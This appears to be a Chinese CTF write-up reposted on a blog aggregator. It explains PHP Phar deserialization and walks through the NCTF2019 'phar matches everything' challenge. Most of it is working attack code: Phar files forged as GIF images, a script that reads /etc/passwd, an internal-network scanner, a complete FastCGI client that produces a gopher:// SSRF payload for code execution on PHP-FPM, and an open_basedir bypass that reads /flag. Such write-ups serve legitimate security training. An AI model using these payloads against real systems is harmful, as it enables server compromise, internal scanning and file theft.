  • 這里很明顯考的是反序列化,然后我們可控的只有檔案名,于是只有Phar反序列化了,構造Phar檔案,下圖是我們生成出的檔案,
<?php
 // CreatePhar.php
class WebShell{
    public $command;
}

// 洗掉原有的phar
@unlink("phar.phar");

// 實體化一個類 檔案結尾必須是.phar 生成后你可以更改檔案后綴
$phar = new Phar("phar.phar");

// 開始緩沖區輸入
$phar->startBuffering();

// 設定Phar標識檔案,這里也可構造檔案頭繞過上傳
$phar->setStub("GIF89a "."<?php __HALT_COMPILER();?>");

$o = new WebShell();
$o->command = 'phpinfo();';

// 設定檔案屬性,添加反序列化內容,構造payload
$phar->setMetadata($o);

// 添加文本,這里的檔案名和內容無所謂
$phar->addFromString("test.txt","panda");

// 停止緩沖區輸入
$phar->stopBuffering();
?>
  • 這里可以看到前一部分可以為檔案頭,偽造圖片檔案頭,但是必須以__HALT_COMPILER();?>結尾,后面就是我們序列化的內容,

HexPhar

  • 然后上傳我們的檔案,再帶著上傳檔案所得的路徑去請求vul.php即可,如果不允許上傳phar檔案,那么將生成的檔案改成png這些都行

phardemo

  • 有時候檔案上傳僅僅是白名單,那么這就很難辦了,檔案上傳似乎是寫死了(沒有絕對安全的系統,等待大家去發現吧),這里可以將構造好的phar檔案后綴更改,他依舊會決議,綜上所述,觸發漏洞就必須要以下幾點:1--有一個反序列化利用鏈,2--檔案名可控(正則匹配或者可繞過),3--能夠上傳檔案,并獲得檔案路徑
  • 如果不能允許開頭則phar字符還有其他的方式,后面還有Mysql讀取Phar造成的反序列化,但是需要更改mysql組態檔不常用,
compress.zlib://phar://phar.phar

compress.bzip2://phar://phar.phar 

php://filter/read=convert.base64-encode/resource=phar://panda.png

influences

NCTF2019 phar matches everything

  • BUU NCTF2019 phar matches everything,由于環境問題,只好自己去Github下載原始碼--Github,主要有以下兩個檔案,
// catchmime.php
<?php
class Easytest{
    protected $test;
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
    public function curl($url){
        $ch = curl_init();  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $output=curl_exec($ch);
        curl_close($ch);
        return $output;
    }

	public function __destruct(){
        $this_is_a_easy_test=unserialize($_GET['careful']);
        if($this_is_a_easy_test->funny_get() === '1'){
            echo $this->curl($this->url);
        }
    }    
}

if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
    } else {
        echo "File is not an image.";
    }
}
?>
// upload.php
<?php

$target_dir = "uploads/";
$uploadOk = 1;

$imageFileType=substr($_FILES["fileToUpload"]["name"],strrpos($_FILES["fileToUpload"]["name"],'.')+1,strlen($_FILES["fileToUpload"]["name"]));

$file_name = md5(time());
$file_name =substr($file_name, 0, 10).".".$imageFileType;

$target_file=$target_dir.$file_name;

    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }


if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg"  ) {
    echo "Sorry, only jpg,png,gif,jpeg are allowed.";
    $uploadOk = 0;
}
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file $file_name  has been uploaded to ./uploads/";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
  • catchmime.php有兩個類EsayTest,Main.第一個類沒啥看的暫且按下不表,Main這個類的curl方法可以看出到沒對$url引數做限制,如果引數可控那么可能造成SSRF任意檔案讀取.第二個為魔術方法,其中呼叫了Main類的curl方法,但是前提為funny_get方法的回傳值為1.這里的funy_get方法來自第一個類,然后又有反序列化,且引數可控,因此將第一個類的$test值設為1即可,就可呼叫Main類的curl方法,那么接下來就找呼叫了Main類的觸發就Ok了,看了題目的功能點就是上傳檔案,和一個檢查檔案型別,結合題目就想到Phar反序列化,那么就不用unserialize()函式就可以觸發反序列化了,觸發了Main類那么就可以造成上面分析的兩種漏洞,發現getimagesize函式的引數我們可控,這個函式本身也是屬于IO操作,于是可以觸發Phar反序列化,
  • upload.php,上傳檔案名不可控,為MD5的隨機時間戳截取前10位,白名單限制檔案上傳為['jpg','png','gif','jpeg']其中的一種,上傳shell幾乎是不可能了,這里也許也有Phar反序列化,但是由于名字這些引數不可控,那么沒辦法了,就只有前面的漏洞了,

POC 檔案讀取

  • 有了上面的分析,我們就用file://協議先構造任意檔案讀取吧

    <?php
    class Easytest{
        protected $test = '1';
    }
    class Main{
        public $url = 'file:///etc/passwd';
    }
    // 因為$test 的屬性問題需要url編碼
    echo urlencode(serialize(new Easytest()));
    
    @unlink("phar.png");
    $phar = new Phar("phar.png");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
    $phar->setMetadata(new Main());
    $phar->addFromString("Panda.txt","I am Panda");
    $phar->stopBuffering();
    
    //O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
    
  • 然后將生成的Phar檔案后綴改成其中白名單的一種,上傳后訪問即可,有個坑谷歌瀏覽器hackbarsubmit引數的提交不得行,火狐瀏覽器就OK,或者Burp就歐克了,火狐Hackbar

ReadFile

  • 讀取/etc/hosts/并不會發現內網IP地址,因此需要讀/proc/net/arp/,發現內網地址為10.0.255.1,但是這并不是需要攻擊的IP地址,根據上面改寫了個兩個腳本來判斷需要攻擊的內網地址,第一個則是生成Phar檔案,第二個則是將檔案上傳并訪問看回傳資料大小,最終發現內網IP不止一個?最后根據別人做題發現是PHP-fpm那個界面,IP為10.0.255.11
<?php
\\ D:\\phpstudy\\www\\EXP\poc.php
class Easytest{
    protected $test = '1';
}
// 因為$test 的屬性問題需要url編碼
echo urlencode(serialize(new Easytest()));


class Main{
    public $url = 'http://10.0.255.';
}
$temp = new Main();

for($num = 1;$num<256;$num++){
    $temp->url = $temp->url.(string)$num;
    echo $temp->url.PHP_EOL;
    print_r($temp);
    $phar = new Phar($num.".phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER();?>");
    $phar->setMetadata($temp);
    $phar->addFromString("Panda.txt", "I am Panda");
    $phar->stopBuffering();

    $temp->url = 'http://10.0.255.';
}
import requests
import time
import re
import os

url = 'http://b284968d-4bbd-491e-8e35-45d7e6f37b18.node3.buuoj.cn'
def Upload(name):
    PATH = 'D:\\phpStudy\\www\\EXP\\'
    if os.path.exists(PATH+name):
        os.rename(PATH+name,PATH+name.split('.')[0]+'.png')
    files = {'fileToUpload': ('phar.png',open(PATH+name.split('.')[0]+'.png','rb'))}
    response = requests.post(url=url+'/upload.php', files=files)
    filename = re.findall("file (.*?.png)",response.text)[0]
    if filename:
        return filename

def req(name):
    data = https://www.cnblogs.com/Pan3a/p/{"submit":"1",
        "name":"phar://uploads/{}"
    }
    data["name"] = data["name"].format(Upload(name))
    headers = {'Content-Type' : 'application/x-www-form-urlencoded', }
    res = requests.post(url+'/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D', data=https://www.cnblogs.com/Pan3a/p/data, headers=headers)
    print(name.split('.')[0]+" "*20+str(len(res.text)))
for num in range(1,256):
    req(str(num) + '.phar')
    time.sleep(1)
          
  • Python輸出展示,
1                    264
2                    264
3                    264
4                    266
5                    5835
6                    8099
7                    4891
8                    264
9                    1825
10                    264
11                    287
12                    264

SSRF PHP-FPM

  • 接下來就是用腳本打PHP-fpm了,PHITHONX1ct34m
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = https://www.cnblogs.com/Pan3a/p/8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) /
               + bchr(fcgi_type) /
               + bchr((requestid >> 8) & 0xFF) /
               + bchr(requestid & 0xFF) /
               + bchr((length >> 8) & 0xFF) /
               + bchr(length & 0xFF) /
               + bchr(0) /
               + bchr(0) /
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = https://www.cnblogs.com/Pan3a/p/force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def gopher(self, nameValuePairs={}, post=''):
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = https://www.cnblogs.com/Pan3a/p/force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        return request
    def __waitForResponse(self, requestId):
        data = https://www.cnblogs.com/Pan3a/p/b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = https://www.cnblogs.com/Pan3a/p/BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php echo "PWNed";?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')
    parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
    parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
    parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(args.code),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext and args.include_file:
        #params['PHP_ADMIN_VALUE']='extension = '+args.ext
        params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
        params['PHP_VALUE']='auto_prepend_file = '+args.include_file
    if not args.url_format and not args.base64_format :
        response = client.request(params, args.code)
        print(force_text(response))
    else:
        response = client.gopher(params, args.code)
        if args.url_format:
            print(urllib.quote(response))
        if args.base64_format:
            print(base64.b64encode(response))
# python2 exp.py 10.0.255.11 /var/www/html/index.php -p 9000 -c "<?php phpinfo(); ?>" -u
# %01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00
<?php
class Easytest{
    protected $test = '1';
}
// 因為$test 的屬性問題需要url編碼
echo urlencode(serialize(new Easytest()));


class Main{
    public $url = 'gopher://10.0.255.11:9000/_%01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00';
}

@unlink("phar.png");
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->setMetadata(new Main());
$phar->addFromString("Panda.txt","I am Panda");
$phar->stopBuffering();

  • 訪問看到PHPINFO,但是很多函式被禁止了,并且目錄限制僅/var/www/html/tmp.因此需要繞過,alias.
<?php mkdir('/tmp/panda');chdir('/tmp/panda');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');?>
  • 再一次腳本構造SSRF,最終得Flag.

flag

PHP 原生類

LCTF2018

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/280170.html

標籤:其他

上一篇:java實作ARP欺騙-Jpcap

下一篇:【pytest官方檔案】解讀fixtures - 11. fixture的執行順序,3要素詳解(長文預警)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more